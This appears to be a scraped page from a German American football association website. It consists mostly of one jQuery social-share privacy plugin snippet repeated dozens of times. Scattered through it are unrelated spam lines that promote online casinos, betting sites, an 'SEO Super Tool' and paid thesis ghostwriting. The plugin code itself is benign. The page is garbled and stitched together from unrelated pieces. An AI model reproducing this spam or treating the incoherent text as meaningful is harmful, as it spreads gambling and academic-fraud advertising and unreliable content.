jQuery(document).ready(function($){if($('.twoclick_social_bookmarks_post_15934')){$('.twoclick_social_bookmarks_post_15934').socialSharePrivacy({"txt_help":"Wenn Sie diese Felder durch einen Klick aktivieren, werden Informationen an Facebook, Twitter, Flattr, Xing, t3n, LinkedIn, Pinterest oder Google eventuell ins Ausland \u00fcbertragen und unter Umst\u00e4nden auch dort gespeichert. N\u00e4heres erfahren Sie durch einen Klick auf das i.“,“settings_perma“:“Dauerhaft aktivieren und Daten\u00fcber-tragung zustimmen:“,“info_link“:“http:\/\/www.heise.de\/ct\/artikel\/2-Klicks-fuer-mehr-Datenschutz-1333879.html“,“uri“:“https:\/\/american-football-verband.de\/“,“post_id“:15934,“post_title_referrer_track“:“Cogni+Front+264471″,“display_infobox“:“on“});}});
/* ]]> */
/* <![CDATA[ */
jQuery(document).ready(function($){if($('.twoclick_social_bookmarks_post_15934')){$('.twoclick_social_bookmarks_post_15934').socialSharePrivacy({"txt_help":"Wenn Sie diese Felder durch einen Klick aktivieren, werden Informationen an Facebook, Twitter, Flattr, Xing, t3n, LinkedIn, Pinterest oder Google eventuell ins Ausland \u00fcbertragen und unter Umst\u00e4nden auch dort gespeichert. N\u00e4heres erfahren Sie durch einen Klick auf das i.“,“settings_perma“:“Dauerhaft aktivieren und Daten\u00fcber-tragung zustimmen:“,“info_link“:“http:\/\/www.heise.de\/ct\/artikel\/2-Klicks-fuer-mehr-Datenschutz-1333879.html“,“uri“:“https:\/\/american-football-verband.de\/“,“post_id“:15934,“post_title_referrer_track“:“Cogni+Front+264471″,“display_infobox“:“on“});}});
/* ]]> */
/* <![CDATA[ */
jQuery(document).ready(function($){if($('.twoclick_social_bookmarks_post_15934')){$('.twoclick_social_bookmarks_post_15934').socialSharePrivacy({"txt_help":"Wenn Sie diese Felder durch einen Klick aktivieren, werden Informationen an Facebook, Twitter, Flattr, Xing, t3n, LinkedIn, Pinterest oder Google eventuell ins Ausland \u00fcbertragen und unter Umst\u00e4nden auch dort gespeichert. N\u00e4heres erfahren Sie durch einen Klick auf das i.“,“settings_perma“:“Dauerhaft aktivieren und Daten\u00fcber-tragung zustimmen:“,“info_link“:“http:\/\/www.heise.de\/ct\/artikel\/2-Klicks-fuer-mehr-Datenschutz-1333879.html“,“uri“:“https:\/\/american-football-verband.de\/“,“post_id“:15934,“post_title_referrer_track“:“Cogni+Front+264471″,“display_infobox“:“on“});}});
/* ]]> */
/* <![CDATA[ */
jQuery(document).ready(function($){if($('.twoclick_social_bookmarks_post_15934')){$('.twoclick_social_bookmarks_post_15934').socialSharePrivacy({"txt_help":"Wenn Sie diese Felder durch einen Klick aktivieren, werden Informationen an Facebook, Twitter, Flattr, Xing, t3n, LinkedIn, Pinterest oder Google eventuell ins Ausland \u00fcbertragen und unter Umst\u00e4nden auch dort gespeichert. N\u00e4heres erfahren Sie durch einen Klick auf das i.“,“settings_perma“:“Dauerhaft aktivieren und Daten\u00fcber-tragung zustimmen:“,“info_link“:“http:\/\/www.heise.de\/ct\/artikel\/2-Klicks-fuer-mehr-Datenschutz-1333879.html“,“uri“:“https:\/\/american-football-verband.de\/“,“post_id“:15934,“post_title_referrer_track“:“Cogni+Front+264471″,“display_infobox“:“on“});}});
/* ]]> */
/* <![CDATA[ */
jQuery(document).ready(function($){if($('.twoclick_social_bookmarks_post_15934')){$('.twoclick_social_bookmarks_post_15934').socialSharePrivacy({"txt_help":"Wenn Sie diese Felder durch einen Klick aktivieren, werden Informationen an Facebook, Twitter, Flattr, Xing, t3n, LinkedIn, Pinterest oder Google eventuell ins Ausland \u00fcbertragen und unter Umst\u00e4nden auch dort gespeichert. N\u00e4heres erfahren Sie durch einen Klick auf das i.“,“settings_perma“:“Dauerhaft aktivieren und Daten\u00fcber-tragung zustimmen:“,“info_link“:“http:\/\/www.heise.de\/ct\/artikel\/2-Klicks-fuer-mehr-Datenschutz-1333879.html“,“uri“:“https:\/\/american-football-verband.de\/“,“post_id“:15934,“post_title_referrer_track“:“Cogni+Front+264471″,“display_infobox“:“on“});}});
/* ]]> */
/* <![CDATA[ */
jQuery(document).ready(function($){if($('.twoclick_social_bookmarks_post_15934')){$('.twoclick_social_bookmarks_post_15934').socialSharePrivacy({"txt_help":"Wenn Sie diese Felder durch einen Klick aktivieren, werden Informationen an Facebook, Twitter, Flattr, Xing, t3n, LinkedIn, Pinterest oder Google eventuell ins Ausland \u00fcbertragen und unter Umst\u00e4nden auch dort gespeichert. N\u00e4heres erfahren Sie durch einen Klick auf das i.“,“settings_perma“:“Dauerhaft aktivieren und Daten\u00fcber-tragung zustimmen:“,“info_link“:“http:\/\/www.heise.de\/ct\/artikel\/2-Klicks-fuer-mehr-Datenschutz-1333879.html“,“uri“:“https:\/\/american-football-verband.de\/“,“post_id“:15934,“post_title_referrer_track“:“Cogni+Front+264471″,“display_infobox“:“on“});}});
/* ]]> */
/* <![CDATA[ */
jQuery(document).ready(function($){if($('.twoclick_social_bookmarks_post_15934')){$('.twoclick_social_bookmarks_post_15934').socialSharePrivacy({"txt_help":"Wenn Sie diese Felder durch einen Klick aktivieren, werden Informationen an Facebook, Twitter, Flattr, Xing, t3n, LinkedIn, Pinterest oder Google eventuell ins Ausland \u00fcbertragen und unter Umst\u00e4nden auch dort gespeichert. N\u00e4heres erfahren Sie durch einen Klick auf das i.“,“settings_perma“:“Dauerhaft aktivieren und Daten\u00fcber-tragung zustimmen:“,“info_link“:“http:\/\/www.heise.de\/ct\/artikel\/2-Klicks-fuer-mehr-Datenschutz-1333879.html“,“uri“:“https:\/\/american-football-verband.de\/“,“post_id“:15934,“post_title_referrer_track“:“Cogni+Front+264471″,“display_infobox“:“on“});}});
/* ]]> */
/* <![CDATA[ */
jQuery(document).ready(function($){if($('.twoclick_social_bookmarks_post_15934')){$('.twoclick_social_bookmarks_post_15934').socialSharePrivacy({"txt_help":"Wenn Sie diese Felder durch einen Klick aktivieren, werden Informationen an Facebook, Twitter, Flattr, Xing, t3n, LinkedIn, Pinterest oder Google eventuell ins Ausland \u00fcbertragen und unter Umst\u00e4nden auch dort gespeichert. N\u00e4heres erfahren Sie durch einen Klick auf das i.“,“settings_perma“:“Dauerhaft aktivieren und Daten\u00fcber-tragung zustimmen:“,“info_link“:“http:\/\/www.heise.de\/ct\/artikel\/2-Klicks-fuer-mehr-Datenschutz-1333879.html“,“uri“:“https:\/\/american-football-verband.de\/“,“post_id“:15934,“post_title_referrer_track“:“Cogni+Front+264471″,“display_infobox“:“on“});}});
/* ]]> */
/* <![CDATA[ */
jQuery(document).ready(function($){if($('.twoclick_social_bookmarks_post_15934')){$('.twoclick_social_bookmarks_post_15934').socialSharePrivacy({"txt_help":"Wenn Sie diese Felder durch einen Klick aktivieren, werden Informationen an Facebook, Twitter, Flattr, Xing, t3n, LinkedIn, Pinterest oder Google eventuell ins Ausland \u00fcbertragen und unter Umst\u00e4nden auch dort gespeichert. N\u00e4heres erfahren Sie durch einen Klick auf das i.“,“settings_perma“:“Dauerhaft aktivieren und Daten\u00fcber-tragung zustimmen:“,“info_link“:“http:\/\/www.heise.de\/ct\/artikel\/2-Klicks-fuer-mehr-Datenschutz-1333879.html“,“uri“:“https:\/\/american-football-verband.de\/“,“post_id“:15934,“post_title_referrer_track“:“Cogni+Front+264471″,“display_infobox“:“on“});}});
/* ]]> */
/* <![CDATA[ */
jQuery(document).ready(function($){if($('.twoclick_social_bookmarks_post_15934')){$('.twoclick_social_bookmarks_post_15934').socialSharePrivacy({"txt_help":"Wenn Sie diese Felder durch einen Klick aktivieren, werden Informationen an Facebook, Twitter, Flattr, Xing, t3n, LinkedIn, Pinterest oder Google eventuell ins Ausland \u00fcbertragen und unter Umst\u00e4nden auch dort gespeichert. N\u00e4heres erfahren Sie durch einen Klick auf das i.“,“settings_perma“:“Dauerhaft aktivieren und Daten\u00fcber-tragung zustimmen:“,“info_link“:“http:\/\/www.heise.de\/ct\/artikel\/2-Klicks-fuer-mehr-Datenschutz-1333879.html“,“uri“:“https:\/\/american-football-verband.de\/“,“post_id“:15934,“post_title_referrer_track“:“Cogni+Front+264471″,“display_infobox“:“on“});}});
/* ]]> */
/* <![CDATA[ */
jQuery(document).ready(function($){if($('.twoclick_social_bookmarks_post_15934')){$('.twoclick_social_bookmarks_post_15934').socialSharePrivacy({"txt_help":"Wenn Sie diese Felder durch einen Klick aktivieren, werden Informationen an Facebook, Twitter, Flattr, Xing, t3n, LinkedIn, Pinterest oder Google eventuell ins Ausland \u00fcbertragen und unter Umst\u00e4nden auch dort gespeichert. N\u00e4heres erfahren Sie durch einen Klick auf das i.“,“settings_perma“:“Dauerhaft aktivieren und Daten\u00fcber-tragung zustimmen:“,“info_link“:“http:\/\/www.heise.de\/ct\/artikel\/2-Klicks-fuer-mehr-Datenschutz-1333879.html“,“uri“:“https:\/\/american-football-verband.de\/“,“post_id“:15934,“post_title_referrer_track“:“Cogni+Front+264471″,“display_infobox“:“on“});}});
/* ]]> */
house bets login
/* <![CDATA[ */
jQuery(document).ready(function($){if($('.twoclick_social_bookmarks_post_15934')){$('.twoclick_social_bookmarks_post_15934').socialSharePrivacy({"txt_help":"Wenn Sie diese Felder durch einen Klick aktivieren, werden Informationen an Facebook, Twitter, Flattr, Xing, t3n, LinkedIn, Pinterest oder Google eventuell ins Ausland \u00fcbertragen und unter Umst\u00e4nden auch dort gespeichert. N\u00e4heres erfahren Sie durch einen Klick auf das i.“,“settings_perma“:“Dauerhaft aktivieren und Daten\u00fcber-tragung zustimmen:“,“info_link“:“http:\/\/www.heise.de\/ct\/artikel\/2-Klicks-fuer-mehr-Datenschutz-1333879.html“,“uri“:“https:\/\/american-football-verband.de\/“,“post_id“:15934,“post_title_referrer_track“:“Cogni+Front+264471″,“display_infobox“:“on“});}});
/* ]]> */
/* <![CDATA[ */
jQuery(document).ready(function($){if($('.twoclick_social_bookmarks_post_15934')){$('.twoclick_social_bookmarks_post_15934').socialSharePrivacy({"txt_help":"Wenn Sie diese Felder durch einen Klick aktivieren, werden Informationen an Facebook, Twitter, Flattr, Xing, t3n, LinkedIn, Pinterest oder Google eventuell ins Ausland \u00fcbertragen und unter Umst\u00e4nden auch dort gespeichert. N\u00e4heres erfahren Sie durch einen Klick auf das i.“,“settings_perma“:“Dauerhaft aktivieren und Daten\u00fcber-tragung zustimmen:“,“info_link“:“http:\/\/www.heise.de\/ct\/artikel\/2-Klicks-fuer-mehr-Datenschutz-1333879.html“,“uri“:“https:\/\/american-football-verband.de\/“,“post_id“:15934,“post_title_referrer_track“:“Cogni+Front+264471″,“display_infobox“:“on“});}});
/* ]]> */
/* <![CDATA[ */
jQuery(document).ready(function($){if($('.twoclick_social_bookmarks_post_15934')){$('.twoclick_social_bookmarks_post_15934').socialSharePrivacy({"txt_help":"Wenn Sie diese Felder durch einen Klick aktivieren, werden Informationen an Facebook, Twitter, Flattr, Xing, t3n, LinkedIn, Pinterest oder Google eventuell ins Ausland \u00fcbertragen und unter Umst\u00e4nden auch dort gespeichert. N\u00e4heres erfahren Sie durch einen Klick auf das i.“,“settings_perma“:“Dauerhaft aktivieren und Daten\u00fcber-tragung zustimmen:“,“info_link“:“http:\/\/www.heise.de\/ct\/artikel\/2-Klicks-fuer-mehr-Datenschutz-1333879.html“,“uri“:“https:\/\/american-football-verband.de\/“,“post_id“:15934,“post_title_referrer_track“:“Cogni+Front+264471″,“display_infobox“:“on“});}});
/* ]]> */
Smash Casino Review: App, Bonus, Free Spins & More
/* <![CDATA[ */
jQuery(document).ready(function($){if($('.twoclick_social_bookmarks_post_15934')){$('.twoclick_social_bookmarks_post_15934').socialSharePrivacy({"txt_help":"Wenn Sie diese Felder durch einen Klick aktivieren, werden Informationen an Facebook, Twitter, Flattr, Xing, t3n, LinkedIn, Pinterest oder Google eventuell ins Ausland \u00fcbertragen und unter Umst\u00e4nden auch dort gespeichert. N\u00e4heres erfahren Sie durch einen Klick auf das i.“,“settings_perma“:“Dauerhaft aktivieren und Daten\u00fcber-tragung zustimmen:“,“info_link“:“http:\/\/www.heise.de\/ct\/artikel\/2-Klicks-fuer-mehr-Datenschutz-1333879.html“,“uri“:“https:\/\/american-football-verband.de\/“,“post_id“:15934,“post_title_referrer_track“:“Cogni+Front+264471″,“display_infobox“:“on“});}});
/* ]]> */
/* <![CDATA[ */
jQuery(document).ready(function($){if($('.twoclick_social_bookmarks_post_15934')){$('.twoclick_social_bookmarks_post_15934').socialSharePrivacy({"txt_help":"Wenn Sie diese Felder durch einen Klick aktivieren, werden Informationen an Facebook, Twitter, Flattr, Xing, t3n, LinkedIn, Pinterest oder Google eventuell ins Ausland \u00fcbertragen und unter Umst\u00e4nden auch dort gespeichert. N\u00e4heres erfahren Sie durch einen Klick auf das i.“,“settings_perma“:“Dauerhaft aktivieren und Daten\u00fcber-tragung zustimmen:“,“info_link“:“http:\/\/www.heise.de\/ct\/artikel\/2-Klicks-fuer-mehr-Datenschutz-1333879.html“,“uri“:“https:\/\/american-football-verband.de\/“,“post_id“:15934,“post_title_referrer_track“:“Cogni+Front+264471″,“display_infobox“:“on“});}});
/* ]]> */
SEO Super Tool
/* <![CDATA[ */
jQuery(document).ready(function($){if($('.twoclick_social_bookmarks_post_15934')){$('.twoclick_social_bookmarks_post_15934').socialSharePrivacy({"txt_help":"Wenn Sie diese Felder durch einen Klick aktivieren, werden Informationen an Facebook, Twitter, Flattr, Xing, t3n, LinkedIn, Pinterest oder Google eventuell ins Ausland \u00fcbertragen und unter Umst\u00e4nden auch dort gespeichert. N\u00e4heres erfahren Sie durch einen Klick auf das i.“,“settings_perma“:“Dauerhaft aktivieren und Daten\u00fcber-tragung zustimmen:“,“info_link“:“http:\/\/www.heise.de\/ct\/artikel\/2-Klicks-fuer-mehr-Datenschutz-1333879.html“,“uri“:“https:\/\/american-football-verband.de\/“,“post_id“:15934,“post_title_referrer_track“:“Cogni+Front+264471″,“display_infobox“:“on“});}});
/* ]]> */
Casino non AAMS affidabili: recensioni, bonus e app
/* <![CDATA[ */
jQuery(document).ready(function($){if($('.twoclick_social_bookmarks_post_15934')){$('.twoclick_social_bookmarks_post_15934').socialSharePrivacy({"txt_help":"Wenn Sie diese Felder durch einen Klick aktivieren, werden Informationen an Facebook, Twitter, Flattr, Xing, t3n, LinkedIn, Pinterest oder Google eventuell ins Ausland \u00fcbertragen und unter Umst\u00e4nden auch dort gespeichert. N\u00e4heres erfahren Sie durch einen Klick auf das i.“,“settings_perma“:“Dauerhaft aktivieren und Daten\u00fcber-tragung zustimmen:“,“info_link“:“http:\/\/www.heise.de\/ct\/artikel\/2-Klicks-fuer-mehr-Datenschutz-1333879.html“,“uri“:“https:\/\/american-football-verband.de\/“,“post_id“:15934,“post_title_referrer_track“:“Cogni+Front+264471″,“display_infobox“:“on“});}});
/* ]]> */
/* <![CDATA[ */
jQuery(document).ready(function($){if($('.twoclick_social_bookmarks_post_15934')){$('.twoclick_social_bookmarks_post_15934').socialSharePrivacy({"txt_help":"Wenn Sie diese Felder durch einen Klick aktivieren, werden Informationen an Facebook, Twitter, Flattr, Xing, t3n, LinkedIn, Pinterest oder Google eventuell ins Ausland \u00fcbertragen und unter Umst\u00e4nden auch dort gespeichert. N\u00e4heres erfahren Sie durch einen Klick auf das i.“,“settings_perma“:“Dauerhaft aktivieren und Daten\u00fcber-tragung zustimmen:“,“info_link“:“http:\/\/www.heise.de\/ct\/artikel\/2-Klicks-fuer-mehr-Datenschutz-1333879.html“,“uri“:“https:\/\/american-football-verband.de\/“,“post_id“:15934,“post_title_referrer_track“:“Cogni+Front+264471″,“display_infobox“:“on“});}});
/* ]]> */
/* <![CDATA[ */
jQuery(document).ready(function($){if($('.twoclick_social_bookmarks_post_15934')){$('.twoclick_social_bookmarks_post_15934').socialSharePrivacy({"txt_help":"Wenn Sie diese Felder durch einen Klick aktivieren, werden Informationen an Facebook, Twitter, Flattr, Xing, t3n, LinkedIn, Pinterest oder Google eventuell ins Ausland \u00fcbertragen und unter Umst\u00e4nden auch dort gespeichert. N\u00e4heres erfahren Sie durch einen Klick auf das i.“,“settings_perma“:“Dauerhaft aktivieren und Daten\u00fcber-tragung zustimmen:“,“info_link“:“http:\/\/www.heise.de\/ct\/artikel\/2-Klicks-fuer-mehr-Datenschutz-1333879.html“,“uri“:“https:\/\/american-football-verband.de\/“,“post_id“:15934,“post_title_referrer_track“:“Cogni+Front+264471″,“display_infobox“:“on“});}});
/* ]]> */
/* <![CDATA[ */
jQuery(document).ready(function($){if($('.twoclick_social_bookmarks_post_15934')){$('.twoclick_social_bookmarks_post_15934').socialSharePrivacy({"txt_help":"Wenn Sie diese Felder durch einen Klick aktivieren, werden Informationen an Facebook, Twitter, Flattr, Xing, t3n, LinkedIn, Pinterest oder Google eventuell ins Ausland \u00fcbertragen und unter Umst\u00e4nden auch dort gespeichert. N\u00e4heres erfahren Sie durch einen Klick auf das i.“,“settings_perma“:“Dauerhaft aktivieren und Daten\u00fcber-tragung zustimmen:“,“info_link“:“http:\/\/www.heise.de\/ct\/artikel\/2-Klicks-fuer-mehr-Datenschutz-1333879.html“,“uri“:“https:\/\/american-football-verband.de\/“,“post_id“:15934,“post_title_referrer_track“:“Cogni+Front+264471″,“display_infobox“:“on“});}});
/* ]]> */
/* <![CDATA[ */
jQuery(document).ready(function($){if($('.twoclick_social_bookmarks_post_15934')){$('.twoclick_social_bookmarks_post_15934').socialSharePrivacy({"txt_help":"Wenn Sie diese Felder durch einen Klick aktivieren, werden Informationen an Facebook, Twitter, Flattr, Xing, t3n, LinkedIn, Pinterest oder Google eventuell ins Ausland \u00fcbertragen und unter Umst\u00e4nden auch dort gespeichert. N\u00e4heres erfahren Sie durch einen Klick auf das i.“,“settings_perma“:“Dauerhaft aktivieren und Daten\u00fcber-tragung zustimmen:“,“info_link“:“http:\/\/www.heise.de\/ct\/artikel\/2-Klicks-fuer-mehr-Datenschutz-1333879.html“,“uri“:“https:\/\/american-football-verband.de\/“,“post_id“:15934,“post_title_referrer_track“:“Cogni+Front+264471″,“display_infobox“:“on“});}});
/* ]]> */
/* <![CDATA[ */
jQuery(document).ready(function($){if($('.twoclick_social_bookmarks_post_15934')){$('.twoclick_social_bookmarks_post_15934').socialSharePrivacy({"txt_help":"Wenn Sie diese Felder durch einen Klick aktivieren, werden Informationen an Facebook, Twitter, Flattr, Xing, t3n, LinkedIn, Pinterest oder Google eventuell ins Ausland \u00fcbertragen und unter Umst\u00e4nden auch dort gespeichert. N\u00e4heres erfahren Sie durch einen Klick auf das i.“,“settings_perma“:“Dauerhaft aktivieren und Daten\u00fcber-tragung zustimmen:“,“info_link“:“http:\/\/www.heise.de\/ct\/artikel\/2-Klicks-fuer-mehr-Datenschutz-1333879.html“,“uri“:“https:\/\/american-football-verband.de\/“,“post_id“:15934,“post_title_referrer_track“:“Cogni+Front+264471″,“display_infobox“:“on“});}});
/* ]]> */
LolaJack Casino : avis, application, bonus et jeux
/* <![CDATA[ */
jQuery(document).ready(function($){if($('.twoclick_social_bookmarks_post_15934')){$('.twoclick_social_bookmarks_post_15934').socialSharePrivacy({"txt_help":"Wenn Sie diese Felder durch einen Klick aktivieren, werden Informationen an Facebook, Twitter, Flattr, Xing, t3n, LinkedIn, Pinterest oder Google eventuell ins Ausland \u00fcbertragen und unter Umst\u00e4nden auch dort gespeichert. N\u00e4heres erfahren Sie durch einen Klick auf das i.“,“settings_perma“:“Dauerhaft aktivieren und Daten\u00fcber-tragung zustimmen:“,“info_link“:“http:\/\/www.heise.de\/ct\/artikel\/2-Klicks-fuer-mehr-Datenschutz-1333879.html“,“uri“:“https:\/\/american-football-verband.de\/“,“post_id“:15934,“post_title_referrer_track“:“Cogni+Front+264471″,“display_infobox“:“on“});}});
/* ]]> */
/* <![CDATA[ */
jQuery(document).ready(function($){if($('.twoclick_social_bookmarks_post_15934')){$('.twoclick_social_bookmarks_post_15934').socialSharePrivacy({"txt_help":"Wenn Sie diese Felder durch einen Klick aktivieren, werden Informationen an Facebook, Twitter, Flattr, Xing, t3n, LinkedIn, Pinterest oder Google eventuell ins Ausland \u00fcbertragen und unter Umst\u00e4nden auch dort gespeichert. N\u00e4heres erfahren Sie durch einen Klick auf das i.“,“settings_perma“:“Dauerhaft aktivieren und Daten\u00fcber-tragung zustimmen:“,“info_link“:“http:\/\/www.heise.de\/ct\/artikel\/2-Klicks-fuer-mehr-Datenschutz-1333879.html“,“uri“:“https:\/\/american-football-verband.de\/“,“post_id“:15934,“post_title_referrer_track“:“Cogni+Front+264471″,“display_infobox“:“on“});}});
/* ]]> */
Smash Casino Review: App Features, Bonuses, and Games
/* <![CDATA[ */
jQuery(document).ready(function($){if($('.twoclick_social_bookmarks_post_15934')){$('.twoclick_social_bookmarks_post_15934').socialSharePrivacy({"txt_help":"Wenn Sie diese Felder durch einen Klick aktivieren, werden Informationen an Facebook, Twitter, Flattr, Xing, t3n, LinkedIn, Pinterest oder Google eventuell ins Ausland \u00fcbertragen und unter Umst\u00e4nden auch dort gespeichert. N\u00e4heres erfahren Sie durch einen Klick auf das i.“,“settings_perma“:“Dauerhaft aktivieren und Daten\u00fcber-tragung zustimmen:“,“info_link“:“http:\/\/www.heise.de\/ct\/artikel\/2-Klicks-fuer-mehr-Datenschutz-1333879.html“,“uri“:“https:\/\/american-football-verband.de\/“,“post_id“:15934,“post_title_referrer_track“:“Cogni+Front+264471″,“display_infobox“:“on“});}});
/* ]]> */
/* <![CDATA[ */
jQuery(document).ready(function($){if($('.twoclick_social_bookmarks_post_15934')){$('.twoclick_social_bookmarks_post_15934').socialSharePrivacy({"txt_help":"Wenn Sie diese Felder durch einen Klick aktivieren, werden Informationen an Facebook, Twitter, Flattr, Xing, t3n, LinkedIn, Pinterest oder Google eventuell ins Ausland \u00fcbertragen und unter Umst\u00e4nden auch dort gespeichert. N\u00e4heres erfahren Sie durch einen Klick auf das i.“,“settings_perma“:“Dauerhaft aktivieren und Daten\u00fcber-tragung zustimmen:“,“info_link“:“http:\/\/www.heise.de\/ct\/artikel\/2-Klicks-fuer-mehr-Datenschutz-1333879.html“,“uri“:“https:\/\/american-football-verband.de\/“,“post_id“:15934,“post_title_referrer_track“:“Cogni+Front+264471″,“display_infobox“:“on“});}});
/* ]]> */
Betya Casino Review: Login, Registration, Bonus Offers, and More
/* <![CDATA[ */
jQuery(document).ready(function($){if($('.twoclick_social_bookmarks_post_15934')){$('.twoclick_social_bookmarks_post_15934').socialSharePrivacy({"txt_help":"Wenn Sie diese Felder durch einen Klick aktivieren, werden Informationen an Facebook, Twitter, Flattr, Xing, t3n, LinkedIn, Pinterest oder Google eventuell ins Ausland \u00fcbertragen und unter Umst\u00e4nden auch dort gespeichert. N\u00e4heres erfahren Sie durch einen Klick auf das i.“,“settings_perma“:“Dauerhaft aktivieren und Daten\u00fcber-tragung zustimmen:“,“info_link“:“http:\/\/www.heise.de\/ct\/artikel\/2-Klicks-fuer-mehr-Datenschutz-1333879.html“,“uri“:“https:\/\/american-football-verband.de\/“,“post_id“:15934,“post_title_referrer_track“:“Cogni+Front+264471″,“display_infobox“:“on“});}});
/* ]]> */
/* <![CDATA[ */
jQuery(document).ready(function($){if($('.twoclick_social_bookmarks_post_15934')){$('.twoclick_social_bookmarks_post_15934').socialSharePrivacy({"txt_help":"Wenn Sie diese Felder durch einen Klick aktivieren, werden Informationen an Facebook, Twitter, Flattr, Xing, t3n, LinkedIn, Pinterest oder Google eventuell ins Ausland \u00fcbertragen und unter Umst\u00e4nden auch dort gespeichert. N\u00e4heres erfahren Sie durch einen Klick auf das i.“,“settings_perma“:“Dauerhaft aktivieren und Daten\u00fcber-tragung zustimmen:“,“info_link“:“http:\/\/www.heise.de\/ct\/artikel\/2-Klicks-fuer-mehr-Datenschutz-1333879.html“,“uri“:“https:\/\/american-football-verband.de\/“,“post_id“:15934,“post_title_referrer_track“:“Cogni+Front+264471″,“display_infobox“:“on“});}});
/* ]]> */
/* <![CDATA[ */
jQuery(document).ready(function($){if($('.twoclick_social_bookmarks_post_15934')){$('.twoclick_social_bookmarks_post_15934').socialSharePrivacy({"txt_help":"Wenn Sie diese Felder durch einen Klick aktivieren, werden Informationen an Facebook, Twitter, Flattr, Xing, t3n, LinkedIn, Pinterest oder Google eventuell ins Ausland \u00fcbertragen und unter Umst\u00e4nden auch dort gespeichert. N\u00e4heres erfahren Sie durch einen Klick auf das i.“,“settings_perma“:“Dauerhaft aktivieren und Daten\u00fcber-tragung zustimmen:“,“info_link“:“http:\/\/www.heise.de\/ct\/artikel\/2-Klicks-fuer-mehr-Datenschutz-1333879.html“,“uri“:“https:\/\/american-football-verband.de\/“,“post_id“:15934,“post_title_referrer_track“:“Cogni+Front+264471″,“display_infobox“:“on“});}});
/* ]]> */
Flouz Casino : Avis sur l’Application, Bonus et Plus
/* <![CDATA[ */
jQuery(document).ready(function($){if($('.twoclick_social_bookmarks_post_15934')){$('.twoclick_social_bookmarks_post_15934').socialSharePrivacy({"txt_help":"Wenn Sie diese Felder durch einen Klick aktivieren, werden Informationen an Facebook, Twitter, Flattr, Xing, t3n, LinkedIn, Pinterest oder Google eventuell ins Ausland \u00fcbertragen und unter Umst\u00e4nden auch dort gespeichert. N\u00e4heres erfahren Sie durch einen Klick auf das i.“,“settings_perma“:“Dauerhaft aktivieren und Daten\u00fcber-tragung zustimmen:“,“info_link“:“http:\/\/www.heise.de\/ct\/artikel\/2-Klicks-fuer-mehr-Datenschutz-1333879.html“,“uri“:“https:\/\/american-football-verband.de\/“,“post_id“:15934,“post_title_referrer_track“:“Cogni+Front+264471″,“display_infobox“:“on“});}});
/* ]]> */
SEO Super Tool
Ninewins Casino Review: App, Login, Bonuses and More
Tauchen Sie ein in die dynamische Welt des Online-Glücksspiels, wo MyStake Deutschland mit einer vielfältigen Auswahl an Sportwetten und Casinospielen eine sichere Plattform.
Weitere Informationen zum Thema wissenschaftliches Schreiben und Unterstützung bei akademischen Arbeiten finden sich unter ghostwriter germanistik.
Im organisierten Spielbetrieb zählt neben Teamgeist auch die sorgfältige Planung im Alltag, denn wer parallel an einer bachelorarbeit ghostwriter kosten denkt, muss Training und Studium gut aufeinander abstimmen.
Für Vereine und Redaktionen, die Spielberichte, Ankündigungen oder Vereinsgeschichten spannend aufbereiten möchten, kann ein ghostwriter österreich eine wertvolle Unterstützung sein.
Informationen zu Themen wie diplomarbeit schreiben lassen kosten ergänzen das Angebot sinnvoll.
Suchen Sie nach den besten Gewinnchancen und schnellen Auszahlungen? Bei Stawki Bet erleben Sie hohe Quoten und zügige Auszahlungen für ein unvergessliches Spielerlebnis.
Mit Kuba Casino lassen sich aktuelle Casino-Angebote, Bonusaktionen und Empfehlungen des Streamers schneller prüfen und besser vergleichen.
Bist du bereit, das aufregende Erlebnis von Casinospielen überall zu genießen? Dann starte jetzt deine mobile Gaming-Reise mit Betalice Casino und entdecke grenzenlose.